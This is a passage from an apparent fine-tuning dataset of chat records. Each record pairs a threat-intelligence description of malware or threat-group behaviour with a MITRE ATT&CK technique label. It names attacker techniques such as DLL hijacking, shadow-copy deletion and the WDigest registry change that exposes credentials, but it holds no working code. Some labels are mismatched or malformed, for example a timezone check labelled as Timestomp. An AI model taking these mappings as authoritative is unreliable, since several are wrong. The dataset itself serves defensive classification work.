                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sakula has the capability to download files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "abuses the Windows DLL load order by using a legitimate Symantec anti-virus binary, VPDN_LU.exe, to load a malicious DLL that mimics a legitimate Symantec DLL, navlu.dll."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Our dynamic analysis showed Lokibot’s behavior, including the benefits and drawbacks of several unpacking methods. Lokibot also used an infected system machine global unique identifier (GUID) value to generate a mutex (an MD5 hash) that acted as a flag to prevent itself from infecting the same machine again. The subject lines of the campaign messages usually started with or included the term “proforma. The malicious attachment was a DOCX, with a file name that also included “proforma” in its pattern. TLP: WHITE https://www.us-cert.gov/tlpCharacteristicsLokibot is an information stealer; the main functionality of its binary is to collect system and application credentials, and user information to send back to the attacker. We conducted dynamic analysis to observe network and system behavior once it infected our Windows OS. It starts from the tenth byte in the data section of the initial TCP POST request. The binary’s hardcoded strings provided data about the binary’s characteristics, behavior, and main functionality.Section HeadersFrom the section headers and distribution of each section, the binary appears to be fairly normal. There are no unusual sections, and the size and distribution of the sections, especially .text, mirrors a standard unpacked binary (Figure 6).File Metadata and StringsThe binary is a PEx86 binary, which can be run on both x86 and 64-bit Windows OS. We determined that the binary was packed because we did not see the C2 URL or any signs of being an information stealer (such as an applications list) in the binary strings and resources"
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bonadan has discovered the username of the user running the backdoor."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Brave Prince gathers information about the Registry."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group keylogger KiloAlfa obtains user tokens from interactive sessions to execute itself with API call \"CreateProcessAsUserA\" under that user's context."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MobileOrder has a command to upload to its C2 server information about files on the victim mobile device, including SD card size, installed app list, SMS content, contacts, and calling history."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wevtutil can be used to disable specific event logs on the system."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When the news broke in 2014 about a new sophisticated threat actor dubbed the Turla Group, which the Estonian foreign intelligence service believes has Russian origins and operates on behalf of the FSB, its kernelmode malware also became the first publicly-described case that abused a third-party device driver to disable Driver Signature Enforcement (DSE). This security mechanism was introduced in Windows Vista to prevent unsigned drivers from loading into kernel space. Turla exploited the signed VirtualBox driver, VBoxDrv.sys v1.6.2, to deactivate DSE and load its unsigned payload drivers afterward."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has placed a malicious payload in `%WINDIR%\\SYSTEM32\\oci.dll` so it would be sideloaded by the MSDTC service."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The screenshots included remote desktop (RDP) sessions showing the Glimpse panel, a web browser session displaying a C2 panel called Scarecrow, web browser sessions into VPS administrative panels, and evidence of potential destructive attacks against OilRig servers"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture', 'T1021.001 - Remote Services: Remote Desktop Protocol', 'T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OwaAuth captures and DES-encrypts credentials before writing the username and password to a log file, \"C:\\log.txt\"."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sibot is a dual-purpose malware implemented in VBScript. It is designed to achieve persistence on the infected machine then download and execute a payload from a remote C2 server. The VBScript is then run via a scheduled task"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We believe that the injected script came from the Andariel group since the code has similar obfuscation and structure to the sample we previously found from them. The script was used to collect information from visitors’ browser: browser type, system language, Flash Player version, Silverlight version, and multiple ActiveX objects"
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Also, the postinstall script moves the .CrashReporter program to a new location /Library/JMTTrader/CrashReporter and makes it executable. Because the LaunchDaemon will not run automatically after the plist file is moved, the postinstall script launches CrashReporter with the Maintain parameter and runs it in the background (Create or Modify System Process: Launch Daemon [T1543.004"
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Matryoshka uses reflective DLL injection to inject the malicious library and execute the RAT."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KeyBoy uses \"-w Hidden\" to conceal a PowerShell window that downloads a payload."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Since December 2017 security researchers have been seeing samples of MS Office documents in spearphishing emails related to the Winter Olympics uploaded to VirusTotal. The documents contained nothing but slightly formatted gibberish to make it look like the text had an encoding problem, encouraging the user to press a button to “Enable Content”."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A variant of  attempts communication to the C2 server over HTTP on port 443."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "They stop the Volume Shadow Copy service; the ransomware itself includes a command to delete existing shadow copies"
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conti has the ability to discover hosts on a target network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors use nbtscan to discover vulnerable systems."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ccf32 can collect files from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 4 Microsoft Word attempting to download the remote template If the C2 server is active at the time the document is opened, it will successfully retrieve the malicious macro and load it in the same Microsoft Word session"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has purchased credentials and session tokens from criminal underground forums."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It is notable that we have only seen these exploitation attempts leverage publicly available malware such as Cobalt Strike and Meterpreter. While these backdoors are full featured, in previous incidents APT41 has waited to deploy more advanced malware until they have fully understood where they were and carried out some initial reconnaissance. In 2020, APT41 continues to be one of the most prolific threats that FireEye currently tracks. This new activity from this group shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has retrieved internal documents from machines inside victim environments, including by using  to stage documents before."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ABK has the ability to use cmd to run a Portable Executable (PE) on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot has sent collected data from a compromised host to its C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Maze has used the “Wow64RevertWow64FsRedirection” function following attempts to delete the shadow volumes, in order to leave the system in the same state as it was prior to redirection."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The main function of the dropper All strings within the dropper, as well as the backdoor, are encrypted using a hardcoded RSA256 key"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware has used base64-encoded commands and files, and has also encrypted embedded strings with AES."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "performed a watering hole attack on forbes.com in 2014 to compromise targets."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "sends images to users that are embedded with shellcode and obfuscates strings and payloads."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic can run a command on another machine using PsExec."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 has used compromised identities to access VPNs and remote access tools."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cuba can download files from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has encoded PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MBR + overwrite/wipe"
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The new spear-phishing docs used by MuddyWater rely on social engineering to persuade users to enable macros. The attackers rely on a range of compromised hosts to deliver their attacks"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group malware can insert malicious macros into documents using a \"Microsoft.Office.Interop\" object."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Many strings in JHUHUGIT are obfuscated with a XOR algorithm."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has used WMI to install malware on targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT can be configured to reconnect at certain intervals."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has modified the Registry key \"HKLM\\System\\CurrentControlSet\\Control\\SecurityProviders\\WDigest\" by setting the \"UseLogonCredential\" registry value to \"1\" in order to force credentials to be stored in clear text in memory."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elise encrypts exfiltrated data with RC4."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Equation is known to have the capability to overwrite the firmware on hard drives from some manufacturers."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32's backdoor can exfiltrate data by encoding it in the subdomain field of DNS packets."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum has used base64 to encode C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has used a wide variety of ransomware, such as Clop, Locky, Jaff, Bart, Philadelphia, and GlobeImposter, to encrypt victim files and demand a ransom payment."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "H1N1 encrypts C2 traffic using an RC4 key."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used HTTP, HTTPS, and DNS for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On October 10, 2017, Kaspersky Lab’s advanced exploit prevention systems identified a new Adobe Flash zero day exploit used in the wild against our customers"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team defaced approximately 15,000 websites belonging to Georgian government, non-government, and private sector organizations in 2019."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may be used to gather details from the Windows Registry of a local or remote system at the command-line interface."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to download a file to the victim from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "sets a WH_CBT Windows hook to collect information on process creation."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWiper can call multiple Windows API functions used for privilege escalation, service execution, and to overwrite random bites of data."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldenSpy has been packaged with a legitimate tax preparation software."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used tools to compress data before exfilling it."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerPunch can download payloads from adversary infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the system information, including hostname and OS version, and sends it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The most notable change to this variant of Zebrocy, other than the programming language used, is the way the tool gathers the system information and running processes"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On June 12, QakBot continued its evolution. The delivery method of a .ZIP file to malicious .VBS was the same, but this time QakBot also dropped a Zloader payload on its victim. Beginning around 14:24 UTC, Falcon Complete observed QakBot threat actors using a new .VBS payload"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The PowerShell script is responsible for downloading the final payload from C2 server to execute it"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan compares the TimeZone.CurrentTimeZone.DaylightName property to strings Iran, Arab, Arabia and Middle East, which will match the following time zones in Windows:   Arabic Daylight Time (UTC+3) Arab Daylight Time (UTC+3) Arabian Daylight Time (UTC+4) Middle East Daylight Time (UTC+2) Iran Daylight Time (UTC+3.5) According to MSDN, these five time zones encompass 10 countries that fall within UTC+2, +3, +3.5 or +4 as seen in Figure 3"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp', 'T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At the beginning of October 2021, Proofpoint researchers identified public samples of Gamaredon RTF template injection documents which impersonated the Ukrainian Ministry of Defense. This tactic is consistent with reporting on this APT group that links Gamaredon to the Russian FSB operating in the Republic of Crimea and the city of Sevastopol. The files communicate with the domain pretence77.glorious[.]nonima[.]ru which also was a remote template delivery URL used by several Microsoft Office Word documents that impersonated Ukrainian government organizations. These Office files communicate with actor infrastructure using a URI pattern previously observed among Gamaredon malicious Microsoft Office phishing documents. Specifically, the Microsoft Office documents used remote template injection to retrieve malicious payload files using URIs with the directory “/ELENAPC/principles/” on several occasions. Additionally, in several instances the resources retrieved delivered an MP3 file as a delivery resource"
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed:  Using commercial cloud storage services for command and control.  Using malware implants that use the Dropbox API for C2 and a downloader that downloads and executes a payload using the Microsoft OneDrive API."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUGARDUMP has been named `CrashReporter.exe` to appear as a legitimate Mozilla executable."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN4 has presented victims with spoofed Windows Authentication prompts to collect their credentials."
            },
            {
                "role": "assistant",
